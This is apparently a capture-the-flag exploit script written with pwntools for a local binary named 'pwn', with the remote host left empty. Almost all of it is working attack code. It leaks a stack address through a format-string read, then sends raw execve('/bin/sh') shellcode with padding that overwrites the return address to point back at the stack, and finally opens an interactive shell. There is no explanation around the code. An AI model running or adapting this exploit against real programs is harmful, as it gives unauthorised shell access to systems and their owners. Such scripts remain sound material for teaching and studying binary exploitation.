1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
|
from pwn import * import time import struct
context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug', arch='amd64', os='linux')
file_name = './pwn' if args['G']: p = remote('', ) else: p = process(file_name) elf = ELF(file_name) libc = elf.libc
s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr)) hs256 = lambda data :sha256(str(data).encode()).hexdigest() l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00")) l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00")) uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00")) int16 = lambda data :int(data, 16)
fmt = b"%8$p" sla(b"hello,What do you want to ask?",fmt) p.recvline() stack = int16(r(14)) - 0x90 print(hex(stack))
ru(b"ok,") num = int(r(3),10) print("++++++++-->",num)
shellcode = b"\x48\x31\xd2\x48\x31\xf6\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
payload = shellcode payload += b'a'*(0x60) payload += p64(0) payload += p64(stack) sa(b"luck number",payload)
itr()
|